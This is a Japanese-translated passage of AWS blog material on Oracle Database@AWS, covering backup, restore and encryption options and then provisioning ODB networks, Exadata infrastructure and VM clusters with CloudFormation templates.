長期バックアップ Object Storage フル 該当なし Amazon S3 フル 該当なし ExaDB-D 自動 Object Storage 週次フル、日次増分、アーカイブログはデフォルトで 30 分ごと (15 分に短縮可能)。 30 分 Amazon S3 週次フル、日次増分、アーカイブログはデフォルトで 30 分ごと (15 分に短縮可能)。 30 分 Autonomous Recovery Service 初回フル、以降は増分のみ、アーカイブログは 30 分ごと。リアルタイムデータ保護を有効にすると REDO ログがリアルタイムでストリーミングされ、1 秒未満の RPO を実現 リアルタイムデータ保護ありの場合、RPO は 1 秒未満。なしの場合は 30 分。 手動 Object Storage フル 該当なし Amazon S3 フル 該当なし Autonomous Recovery Service 増分 該当なし 長期バックアップ 非サポート 該当なし 該当なし ADB-D でのデータベースクローン: Autonomous Database は柔軟なクローン機能を提供しており、ソース環境に影響を与えることなく、開発、テスト、分析、データ移動のシナリオ向けに新しいデータベースインスタンスを迅速に作成できます。クローンは、既存データベースの状態に基づきつつ論理的に独立した新しい Autonomous Database を作成します。 フルクローン : すべてのデータ、メタデータ、設定を含むソースデータベースの完全なコピーを作成し、オリジナルとまったく同じように動作する完全なレプリカを作成します。 メタデータクローン : 一方、メタデータクローンは、オブジェクトに保存されているデータを含めず、データベースのメタデータ (スキーマ、テーブル、ユーザー、ロール、その他の構造定義) のみをコピーします。メタデータクローンは、ストレージ消費とクローン作成時間を最小限に抑えつつ、開発やテスト用のスキーマのみの一貫した環境を迅速に作成するのに最適です。 Oracle データベースサービス 方式 データベースインスタンス バックアップのポイントインタイム リストからのバックアップ 最新バックアップのタイムスタンプ Oracle Autonomous AI Database on Dedicated Exadata Infrastructure ADB フルクローン 対応 対応 対応 対応 ADB メタデータクローン 対応 非対応 非対応 非対応 ACD フルクローン ACD 内のすべての ADB 非対応 非対応 対応 データベースのリストアオプション このセクションでは、前述のバックアップからのさまざまなデータベースリストアオプションを見ていきます。Autonomous Database on Dedicated Infrastructure には以下のリストアオプションがあります。 自動バックアップからのリストア 手動バックアップからのリストア 以下のいずれかのオプションでデータベースをリストアできます。 特定のバックアップを使ったデータベースのリストア OCI コンソールからタイムスタンプを使ったポイントインタイムリカバリ OCI コンソールから特定の System Change Number (SCN) を使ったデータベースのリストア リストア実行中、データベースは使用不可 (unavailable) 状態になります。この状態のデータベースには接続できません。使用不可状態でサポートされるライフサイクル管理操作は終了 (terminate) のみです。リストア操作が完了すると、データベースはリストア前と同じ状態で開かれます。3 種類のリストア (SCN 指定、タイムスタンプ指定、特定バックアップ指定) のいずれでも、リストア完了時に SCN が返されます。 Oracle データベースサービス 方式 選択したバックアップへのリストア タイムスタンプへのリストア SCN へのリストア インプレース/アウトオブプレースリストア Oracle Autonomous AI Database on Dedicated Exadata Infrastructure 自動バックアップからのリストア (PITR をサポート) 対応 対応 対応 インプレース 手動バックアップからのリストア 対応 該当なし 該当なし インプレース 長期バックアップからのリストア 対応 該当なし 該当なし アウトオブプレース Amazon S3 および OCI OSS ベースの自動バックアップからのクロスリージョンリストア 対応 該当なし 該当なし アウトオブプレース 組み込みのセキュリティと暗号化 Transparent Data Encryption (TDE) は、データベースのデータファイルだけでなく、データベースから作成されるすべてのバックアップも保護します。TDE はデフォルトで有効であり、Autonomous Database と Exadata Database では必須です。OCI Object Storage、Amazon S3、Autonomous Recovery Service のいずれに保存されるバックアップも、データベースを保護するのと同じ TDE マスター暗号化キーで自動的に暗号化されます。TDE マスターキーは以下の 2 つの方法のいずれかで管理できます。 Oracle 管理キー カスタマー管理キー : OCI Vault AWS Key Management Service (AWS KMS) (ExaDB-D のみサポート) Oracle Key Vault (OKV) Oracle 管理キー Oracle 管理キーでは、データベースブロックとバックアップの暗号化に使用される TDE マスターキーを Oracle が自動的に作成、ローテーション、保護します。 バックアップへの影響: Object Storage、S3、Recovery Service に保存されるすべてのバックアップは、デフォルトで完全に暗号化されます。 Oracle 管理の TDE マスターキーへのアクセスなしにバックアップデータを復号することはできません。 キーのライフサイクル管理の運用負荷をゼロにしたいお客様に最適です。 すべてのバックアップ先で機能します。 カスタマー管理キー (OCI Vault または AWS KMS) OCI Vault、Oracle Key Vault (OKV)、または AWS KMS を使って TDE マスターキーを自分で管理することもできます。 バックアップへの影響: データベースは、お客様が管理する TDE マスターキーですべてのバックアップデータを暗号化します。 バックアップへのアクセスには Vault または KMS キーへのアクセスが必要となり、暗号化、ローテーション、無効化、削除を完全にコントロールできます。 キーを無効化または削除すると、関連するすべてのバックアップが即座に読み取り不能になります。コンプライアンスには有効ですが、慎重なガバナンスが必要です。 強力な監査性とエンタープライズセキュリティポリシーへの準拠を実現します。 料金 各バックアップ先のバックアップコストの最新の料金情報は、 Oracle Database@AWS の料金 ページを参照してください。 Amazon S3 をバックアップ先とする場合、 VPC Lattice 経由のデータ転送コストが発生します。詳細は Amazon VPC Lattice の料金 ページを参照してください。 Recovery Service は消費量の計算に virtualized GB (vGB) を使用します。これは、暦月中に週次フルバックアップ、日次増分バックアップ、アーカイブ REDO ログバックアップが使用するストレージ消費量の合計です。 ベストプラクティス Oracle は、運用効率のため、特に本番環境では自動バックアップの設定を推奨しています。 ビジネス要件に応じてバックアップ保持期間を設定し、保持期間を定期的に見直して必要に応じて調整してください。 ExaDB-D デプロイメントでは、パフォーマンスへの影響を軽減するため、システムのアクティビティが最小限になる業務時間外にバックアップウィンドウをスケジュールしてください。 厳格なバックアップの不変性 (イミュータビリティ) 要件には、保持ロック付きの保護ポリシーを使い、作成から保持期間の終了までバックアップを保護してください。Recovery Service をバックアップ先とする Exadata Database Service on Dedicated Infrastructure では、特権ユーザーであっても早期削除の可能性を排除できます。 Autonomous AI Database では、組み込みの クローン機能 (フルクローンまたはメタデータクローン) を使って非本番環境をリフレッシュしてください。 ExaDB-D デプロイメントでは、手動およびユーザー管理バックアップを見直し、不要であれば削除してください。 90 日から 10 年の長期保持が必要なデータには 長期バックアップ を取得してください。 Oracle データベースでほぼゼロの RPO を実現するには、Autonomous Recovery Service の リアルタイムデータ保護 機能を使用してください。データベーストランザクションと REDO ログをリアルタイムで Recovery Service に継続的に転送し、潜在的なデータ損失を 1 秒未満に抑え、任意の時点への迅速なリカバリを可能にします。リアルタイムデータ保護は追加コストのオプションです。 Autonomous AI Database では、OCI Object Storage を使った低コストの DR (災害復旧) ソリューションとして クロスリージョンバックアップ を有効にしてください。 保持ロックを有効にすると、すべての ACD および Autonomous AI Database のバックアップ (長期バックアップを含む) が保持期間の全期間にわたって保持されます。保持期間が終了するまでこれらのバックアップは削除できません。この設定の無効化には 14 日間の猶予期間があります。 Exadata Database Service on Dedicated Infrastructure で Data Guard を使って Maximum Availability Architecture Gold 以上を構成している場合、ベストプラクティスとしてコスト最適化のためスタンバイインスタンスのバックアップを無効化してください。ストレージコストの重複を回避でき、バックアップはプライマリインスタンスから取得できます。また、プライマリとスタンバイの両インスタンスでバックアップ先を同一にする必要があります。 まとめ 本記事では、Oracle Exadata Database Service on Dedicated Infrastructure と Oracle Autonomous AI Database on Dedicated Exadata Infrastructure の両方で利用できる Oracle Database@AWS (ODB@AWS) のバックアップとリカバリ機能を包括的に解説しました。自動、手動、ユーザー管理、長期の各バックアップオプションと、Amazon S3、OCI Object Storage、Autonomous Recovery Service といったサポートされるバックアップ先について説明しました。 また、保持ポリシー、リストアシナリオ、ポイントインタイムリカバリ (PITR) のオプションも確認しました。これにより、組織の RPO と RTO の目標に合わせた堅牢なデータ保護と災害復旧 (DR) 戦略を設計できます。AWS ネイティブ統合と Oracle 管理の自動化を活用することで、運用のシンプルさとスケーラビリティを維持しながら、データの耐久性、セキュリティ、事業継続性を高められます。 まずはワークロード要件に最適なバックアップオプションを設定し、リストアプロセスを検証し、環境でのリカバリパフォーマンスを評価してみてください。経験、フィードバック、学びをコメント欄でぜひ共有してください。 著者について Javeed Mohammed Javeed は、Amazon Web Services (AWS) のシニアデータベーススペシャリストソリューションアーキテクトです。Amazon RDS チームで Oracle や Db2 などの商用データベースエンジンを担当し、お客様の AWS でのリレーショナルデータベースワークロードの設計、デプロイ、最適化を支援しています。 Nishanth Sodum Nishanth は、Oracle のシニアプリンシパルソリューションアーキテクトで、Oracle Cloud Infrastructure プロダクトマネジメント組織に所属しています。マルチクラウドソリューションの推進と Oracle Database @ Hyperscalers の成長に注力しています。 Karthik Gopalakrishnan Karthik は、AWS のシニアテクニカルプロダクトマネージャーとして、エンジニアリング、GTM、セールス・マーケティングの各チームと連携し Oracle Database@AWS の提供を担当しています。お客様のニーズと課題を製品ソリューションに変えることに情熱を注いでいます。 この記事は Solutions Architect の 矢木 覚が翻訳しました。

本記事は 2026 年 1 月 12 日 に公開された「 Provision Oracle Database@AWS stack using AWS CloudFormation 」を翻訳したものです。 Oracle Database@AWS (ODB@AWS) は、 Oracle Cloud Infrastructure (OCI) が管理する Oracle Exadata インフラストラクチャを AWS データセンター内から提供します。Exadata の高性能、スケーラビリティ、高度な機能を活かしながら Oracle データベースを AWS に移行できます。Oracle Database@AWS は、 Amazon Simple Storage Service (Amazon S3)、 zero-ETL パイプライン、 AWS Key Management Service (AWS KMS) などのネイティブ AWS サービスとの深い統合を提供します。Oracle データベースは Amazon Elastic Compute Cloud (Amazon EC2)、Amazon Elastic Container Service (Amazon ECS)、Amazon Elastic Kubernetes Service (Amazon EKS) などにデプロイされたアプリケーションと並行して実行できます。この緊密な統合によりデータフローが簡素化され、セキュリティが強化され、多様なコンピューティング環境全体でのアプリケーション開発が加速します。 Oracle Database@AWS は現在、以下の Oracle Database サービスを提供しています。 Oracle Autonomous AI Database on Dedicated Exadata Infrastructure (ADB-D) Oracle Exadata Database Service on Dedicated Infrastructure (ExaDB-D) Infrastructure as Code (IaC) は、構成ファイルを使ってアプリケーションのインフラストラクチャをプロビジョニング・管理するプロセスです。IaC はインフラストラクチャ管理の一元化、リソースの標準化、迅速なスケールを可能にし、新しい環境を再現可能で信頼性が高く一貫したものにします。Oracle Database@AWS のリソースは、 Terraform や AWS CloudFormation などの IaC ツールを使ってデプロイできます。 AWS CloudFormation は、AWS およびサードパーティのリソースを簡単にモデル化、プロビジョニング、管理できる IaC サービスです。AWS リソースのモデル化とセットアップを支援し、リソース管理に費やす時間を減らして AWS 上のアプリケーションに集中できるようにします。 本記事では、 AWS CloudFormation テンプレート を使って、 ODB ネットワーク 、 Oracle Exadata インフラストラクチャ 、 Exadata VM クラスター 、 Autonomous VM クラスター など Oracle Database@AWS の主要コンポーネントをセットアップする方法を説明します。 ソリューションの概要 Oracle Database@AWS を始めるには、 AWS Marketplace でリスティングを確認します。サービスを利用するには、AWS アカウント内で オンボーディング と呼ばれるプロセスで設定します。オンボーディングを開始するには、Oracle の担当者に連絡して Private Offer をリクエストします。料金と条件に合意した後、AWS Marketplace で購入を完了します。購入完了後、AWS アカウントと OCI テナンシーをリンクします。これをマルチクラウドリンクと呼びます。要件に応じて、 エンタイトルメント共有機能 を使い、同じ AWS Organization 内の AWS アカウント間で ODB@AWS の AWS Marketplace エンタイトルメントを共有できます。オンボーディング完了後、Exadata Database Service on Dedicated Infrastructure および Autonomous AI Database on Dedicated Exadata Infrastructure 向けに Oracle Database@AWS のシステムリソースのプロビジョニングを開始できます。プロビジョニングは ODB ネットワークと Exadata インフラストラクチャの作成から始まります。ワークロードと要件に応じて、Oracle Exadata Database Service 用の Exadata VM クラスター、または Autonomous AI Database on Dedicated Exadata Infrastructure 用の Autonomous VM クラスターを作成します。 Oracle Database@AWS の使用を開始するには、Oracle Database@AWS コンソール、AWS CLI、または API を使って以下のリソースを作成します。 ODB ネットワーク Oracle Exadata インフラストラクチャ Exadata VM クラスターまたは Autonomous VM クラスター ODB ピアリング接続 次の図は Oracle Database@AWS のアーキテクチャを示しています。 詳細に入る前に、Oracle Database@AWS のアーキテクチャと主要コンポーネントを理解することが重要です。 Amazon Virtual Private Cloud とサブネット : Amazon Virtual Private Cloud (Amazon VPC) は、定義した仮想ネットワーク内に AWS リソースを起動できます。この仮想ネットワークは自社データセンターで運用する従来型ネットワークに似ていますが、AWS のスケーラブルなインフラストラクチャを利用できます。VPC を作成した後、サブネットを追加できます。サブネットは Amazon VPC 内の IP アドレス範囲です。特定のサブネットに Amazon EC2 インスタンスなどの AWS リソースを作成できます。 OCI Virtual Cloud Network (VCN) とサブネット : Virtual Cloud Network (VCN) は、指定した Oracle リージョン内の OCI テナンシーにセットアップするカスタマイズ可能なプライベートネットワークです。コンピュートインスタンス、データベース、ストレージなどの OCI リソースをデプロイ・管理するための安全でスケーラブルなネットワーク環境を提供します。VCN はサブネット、ルートテーブル、ゲートウェイなどの主要コンポーネントを含む従来型ネットワークの仮想版です。VCN により、論理的に分離されたネットワーク内でクラウドリソースを分離・セグメント化し、セキュリティと管理性を向上できます。VCN はサブネットに分割され、リソースのセグメント化とトラフィック制御をより細かく行えます。サブネットはパブリック (パブリック IP アドレスとインターネットアクセスを許可) またはプライベート (直接のインターネットアクセスを制限) にできます。Oracle マルチクラウドアーキテクチャでは、AWS リージョンにクライアントサブネットとバックアップサブネットを持つ ODB ネットワークを作成すると、ペアリングされた OCI リージョンの OCI テナンシーに対応する OCI VCN とサブネットが自動的に作成されます。 OCI リージョン (Parent Site): OCI リージョンは、アベイラビリティドメインと呼ばれる 1 つ以上のデータセンターを持つ地理的エリアです。Oracle マルチクラウドモデルでは、ペアリングされた AWS リージョンに接続する OCI リージョンを Parent Site と呼びます。ODB@AWS は リージョン可用性 で説明されているリージョンでのみ利用できます。各 OCI リージョンは他のリージョンとは独立して動作し、耐障害性と災害復旧機能を提供します。各リージョンは 1 つ以上のアベイラビリティドメインで構成されます。OCI アベイラビリティドメイン (AD) は OCI リージョン内の 1 つ以上のデータセンターです。複数の AD があるリージョンでは、AD は物理的に分離されています。インフラストラクチャ、電源、冷却、内部ネットワークを共有しないため、1 つの AD の障害が同じリージョン内の他の AD に影響する可能性は低いです。 OCI Child Site : OCI Child Site は、OCI アベイラビリティドメイン (AD) を AWS リージョン内のアベイラビリティゾーン (AZ) に拡張するデータセンターです。OCI Child Site モデルでは、Oracle Database@AWS に使用される Exadata インフラストラクチャは物理的には AWS データセンター (AWS リージョン内の AZ) に存在しますが、論理的には OCI リージョンとそのネットワークコンポーネントにマッピングされます。 ODB ネットワーク : ODB ネットワークは、指定した AWS アベイラビリティゾーン (AZ) 内で Oracle Exadata VM クラスターと Autonomous VM クラスターをホストするプライベートな分離されたネットワークです。ODB ネットワークは IP アドレスの CIDR 範囲で構成されます。ODB ネットワークは OCI Child Site 内のネットワークに直接マッピングされ、AWS と OCI 間の通信を可能にします。Oracle マルチクラウドアーキテクチャでは、ODB ネットワークは Oracle Database@AWS サービスの一部である OCI コンポーネントへのネットワーク接続を提供します。ODB ネットワーク作成時に指定する情報は以下のとおりです。 アベイラビリティゾーン — ODB ネットワークは特定の AZ に紐づきます。本記事執筆時点では、以下の AWS リージョンで Oracle Database@AWS を利用できます。 US East (N. Virginia) 物理 ID use1-az4 および use1-az6 の AZ を使用できます。 US West (Oregon) 物理 ID usw2-az3 および usw2-az4 の AZ を使用できます。 Asia Pacific (Tokyo) 物理 ID apne1-az1 および apne1-az4 の AZ を使用できます。 US East (Ohio) 物理 ID use2-az1 および use2-az2 の AZ を使用できます。 Europe (Frankfurt) 物理 ID euc1-az1 および euc1-az2 の AZ を使用できます。アカウント内で上記の物理 AZ ID にマッピングされる論理 AZ 名を確認するには、次のコマンドを実行します。 aws ec2 describe-availability-zones \ --region us-east-1 \ --query "AvailabilityZones[*].{ZoneName:ZoneName, ZoneId:ZoneId}" \ --output table クライアント CIDR アドレス — ODB ネットワークには、Exadata VM クラスターと Autonomous VM クラスター用の クライアントサブネット CIDR が必要です。 バックアップ CIDR アドレス — ODB ネットワークには、VM クラスターのマネージドデータベースバックアップ用の バックアップサブネット CIDR が必要です。バックアップサブネットは Exadata VM クラスターではオプションです。 AWS サービス統合 — Amazon S3 や Amazon Redshift との zero-ETL など、AWS サービス統合のネットワークパスを設定できます。詳細は AWS サービス統合 を参照してください。CIDR 要件の詳細は ODB ネットワークの作成 を参照してください。 Oracle Exadata インフラストラクチャ : Oracle Exadata インフラストラクチャは、Oracle データベース実行用に設計された高性能で統合されたハードウェア・ソフトウェアプラットフォームです。Exadata は事前構成・事前テスト済みのフルスタックプラットフォームであり、必要なハードウェアとソフトウェアコンポーネントがすべて統合・最適化されシームレスに連携します。Exadata はスケールアウトアーキテクチャを採用し、データベースサーバーとインテリジェントストレージサーバーを変化するワークロード要求に応じて個別にスケールできます。Exadata ストレージサーバーは従来型ストレージを超え、独自の CPU と専用ソフトウェアにより、SQL クエリ処理などのデータベース操作をデータの近くで実行できます。Exadata は高帯域幅・低レイテンシーのネットワークファブリック (RDMA over Converged Ethernet / RoCE など) を使ってデータベースサーバーとストレージサーバーを接続し、高速なデータアクセスと転送を実現します。Oracle マルチクラウドアーキテクチャでは、Exadata インフラストラクチャは Oracle Exadata Database Service と Oracle Autonomous AI Database の両方の基盤ハードウェアです。Oracle Database@AWS で Exadata インフラストラクチャを作成する際に指定する情報は以下のとおりです。 データベースサーバーの合計数 ストレージサーバーの合計数 Exadata システムモデル (X11M) インフラストラクチャをホストする AZ ( Oracle Database@AWS のサポートリージョン を参照) 詳細は Exadata インフラストラクチャ を参照してください。 Exadata VM クラスター : Exadata VM クラスター は、密結合された Exadata VM のセットです。各 VM には Oracle Real Application Clusters (Oracle RAC) や Oracle Grid Infrastructure など Oracle Enterprise Edition のすべての機能を含む完全な Oracle データベースインストールがあります。VM クラスター上に 1 つ以上の Oracle Exadata データベースを作成できます。VM と VM クラスターのアーキテクチャ図は Exadata Database Service on Dedicated Infrastructure Technical Architecture を参照してください。 VM クラスター 作成時に指定する情報は以下のとおりです。 ODB ネットワーク Oracle Exadata インフラストラクチャ クラスター内の VM を配置するデータベースサーバー 使用可能な Exadata ストレージの合計量 作成方法の詳細は Exadata VM クラスター を参照してください。 Autonomous VM クラスター : Autonomous VM クラスター (AVMC) は、物理的な Exadata クラスター (マシン) を複数の仮想クラスターに分割できます。個別のアクセスルール、ネットワーク設定、カスタマイズ可能なコンピュートメモリやストレージリソースにより、異なるデータベースワークロードの環境を分離できます。AVMC は、Autonomous Container Database が構築される 4 層データベースアーキテクチャモデルのインフラストラクチャコンポーネントの 1 つです。Exadata Infrastructure (EI) リソース内に 1 つ以上の AVMC がプロビジョニングされ、EI とデプロイ内の Autonomous Container Database リソースを接続します。Autonomous VM クラスター作成時に VM あたりの ECPU コア数、CPU あたりのデータベースメモリ、データベースストレージ、Autonomous Container Database の最大数を設定できます。詳細は Autonomous VM クラスターの作成 を参照してください。 ODB ピアリング : ODB ピアリングは、Amazon VPC と ODB ネットワーク間でトラフィックをプライベートにルーティングするためのユーザー作成のネットワーク接続です。Oracle マルチクラウドアーキテクチャでは、VPC 内のアプリケーションと ODB ネットワーク内の Oracle データベース間のトラフィックは、パブリックインターネットを経由せず ODB ピアリングを通じてプライベートにルーティングされます。詳細は ODB ピアリング接続の作成 を参照してください。 Oracle Exadata データベース : Oracle Database@AWS では、AWS コンソールを使って Exadata データベースをホストする Oracle Exadata インフラストラクチャと VM クラスターを作成します。Oracle データベースの作成と管理には OCI API を使用します。データベースの作成方法の詳細は Exadata データベース と Autonomous Database を参照してください。 Oracle Database@AWS のコンポーネントの詳細は アーキテクチャ を参照してください。 上記リソースの作成手順の詳細は Oracle Database@AWS でのリソース作成 を参照してください。 前提条件 開始前に、以下の前提条件を満たしていることを確認してください。 CloudFormation とテンプレートの使い方 の基本的な理解 Oracle Database@AWS サービスの理解 Oracle Database@AWS へのオンボーディング の手順を完了していること。Oracle Database@AWS を使用するには Private Offer を受諾済みである必要があります。 Oracle Database@AWS リソースのプロビジョニングを許可するポリシー権限 を IAM プリンシパルに付与していること。Oracle Database@AWS の使用にはこれらの権限が必要です。 以下の AWS CloudFormation テンプレートを使って Oracle Database@AWS のさまざまなリソースをプロビジョニングできます。ビジネス要件に応じてパラメータをカスタマイズしてください。各パラメータの意味と許容値を理解することが重要です。 本記事執筆時点で利用可能なテンプレートは以下のとおりです。最新情報は AWS CloudFormation による Oracle Database@AWS のプロビジョニング を参照してください。 ステップ 1: Oracle Database@AWS に ODB ネットワークを作成する Type: AWS::ODB::OdbNetwork Properties: AvailabilityZone: String AvailabilityZoneId: String BackupSubnetCidr: String ClientSubnetCidr: String CustomDomainName: String DefaultDnsPrefix: String DeleteAssociatedResources: Boolean DisplayName: String S3Access: String S3PolicyDocument: String Tags: - Tag ZeroEtlAccess: String IP アドレス要件の詳細は Oracle Database@AWS での IP アドレス空間の計画 を参照してください。 ステップ 2: Oracle Database@AWS に Oracle Exadata インフラストラクチャを作成する Type: AWS::ODB::CloudExadataInfrastructure Properties: AvailabilityZone: String AvailabilityZoneId: String ComputeCount: Integer CustomerContactsToSendToOCI: - CustomerContact DatabaseServerType: String DisplayName: String MaintenanceWindow: MaintenanceWindow Shape: String StorageCount: Integer StorageServerType: String Tags: - Tag ステップ 3: Oracle Database@AWS に Exadata VM クラスター または Autonomous VM クラスター を作成する Type: AWS::ODB::CloudVmCluster Properties: CloudExadataInfrastructureId: String ClusterName: String CpuCoreCount: Integer DataCollectionOptions: DataCollectionOptions DataStorageSizeInTBs: Number DbNodes: - DbNode DbNodeStorageSizeInGBs: Integer DbServers: - String DisplayName: String GiVersion: String Hostname: String IsLocalBackupEnabled: Boolean IsSparseDiskgroupEnabled: Boolean LicenseModel: String MemorySizeInGBs: Integer OdbNetworkId: String ScanListenerPortTcp: Integer SshPublicKeys: - String SystemVersion: String Tags: - Tag TimeZone: String Type: AWS::ODB::CloudAutonomousVmCluster Properties: AutonomousDataStorageSizeInTBs: Number CloudExadataInfrastructureId: String CpuCoreCountPerNode: Integer DbServers: - String Description: String DisplayName: String IsMtlsEnabledVmCluster: Boolean LicenseModel: String MaintenanceWindow: MaintenanceWindow MemoryPerOracleComputeUnitInGBs: Integer OdbNetworkId: String ScanListenerPortNonTls: Integer ScanListenerPortTls: Integer Tags: - Tag TimeZone: String TotalContainerDatabases: Integer ステップ 4: ODB ピアリング接続を作成する Type: AWS::ODB::OdbPeeringConnection Properties: DisplayName: String OdbNetworkId: String PeerNetworkId: String Tags: - Tag CloudFormation スタックの作成 AWS CloudFormation でリソースをプロビジョニングするには、以下の手順を実行します。この CloudFormation テンプレートは以下のリソースを作成します。 VPC インターネットゲートウェイ パブリックサブネット 2 つ プライベートサブネット 2 つ パブリックルートテーブル プライベートルートテーブル パブリックルート 4 つのサブネットすべてへのルートテーブルアソシエーション ODB ネットワーク ODB ピアリング接続 Exadata インフラストラクチャ Exadata VM クラスター Autonomous VM クラスター デプロイ前にテンプレートをよく確認し、不要なリソースがあればテンプレートを適宜修正してください。 ローカルマシンに GitHub リポジトリ をクローンするか、AWS Samples からスクリプトをダウンロードします。 git clone https://github.com/aws-samples/sample-odb-launch-using-cfn GitHub の readme に従って前提条件を確認し、CloudFormation スタックをデプロイします。 スタックのデプロイが完了したことを確認します。 重要: AWS CloudFormation で ODB@AWS をデプロイする際、特定のリソースプロパティの変更はインプレース更新ではなく完全なリソース置換が必要になることに注意してください。CpuCoreCount や DbServers の設定などのプロパティを変更すると置換がトリガーされます。変更を実装する前に、置換が必要なプロパティの完全なリストについて AWS CloudFormation ドキュメント を確認してください。 リソースの作成が完了したら、以下の方法で AWS Virtual Private Cloud (VPC) と Oracle Database@AWS の ODB ネットワーク間の接続を設定します。 OdbPeeringConnection 用の VPC ルートテーブルの設定 Oracle Database@AWS 用の DNS の設定 アウトバウンドエンドポイント — ODB ネットワークに DNS クエリを送信するために必要です。 リゾルバールール — Route 53 Resolver が ODB ネットワークの DNS に転送する DNS クエリのドメイン名を指定します。 詳細は ネットワーク設定 を参照してください。 クリーンアップ このセットアップが不要になり将来の課金を避けたい場合は、セットアップで作成した ODB ネットワーク、Exadata インフラストラクチャ、VM クラスターのリソースを削除できます。AWS CloudFormation スタックの一部として起動したその他のリソースをすべて削除するには、以下の手順を実行します。 AWS CloudFormation コンソールのナビゲーションペインで スタック を選択します。 作成したスタックを選択し、 削除 を選択します。 プロンプトが表示されたら スタックの削除 を選択します。 詳細は AWS CloudFormation コンソールでのスタックの削除 を参照してください。 まとめ 本記事では、AWS CloudFormation を使って Oracle Database@AWS のリソースをデプロイする方法を紹介しました。 開始方法の詳細は Oracle Database@AWS の開始方法 を参照してください。 著者について Javeed Mohammed Javeed は、AWS のシニアデータベーススペシャリストソリューションアーキテクトです。Amazon RDS チームで Oracle や Db2 などの商用データベースエンジンを担当し、お客様の AWS クラウドでのリレーショナルデータベースワークロードの設計、デプロイ、最適化を支援しています。 Sharath Chandra Kampili Sharath は、AWS のデータベーススペシャリストソリューションアーキテクトです。Amazon RDS チームで Oracle などの商用データベースエンジンを担当し、お客様のデータベースプロジェクトに対するガイダンスと技術支援を直接提供しています。 Kai Sawamoto Kai は、Oracle Database@AWS チームのソフトウェア開発エンジニアです。ODB と CloudFormation の統合を担当し、CloudFormation との追加機能統合のメンテナンスと提供に取り組んでいます。 この記事は Solutions Architect の 矢木 覚 が翻訳しました。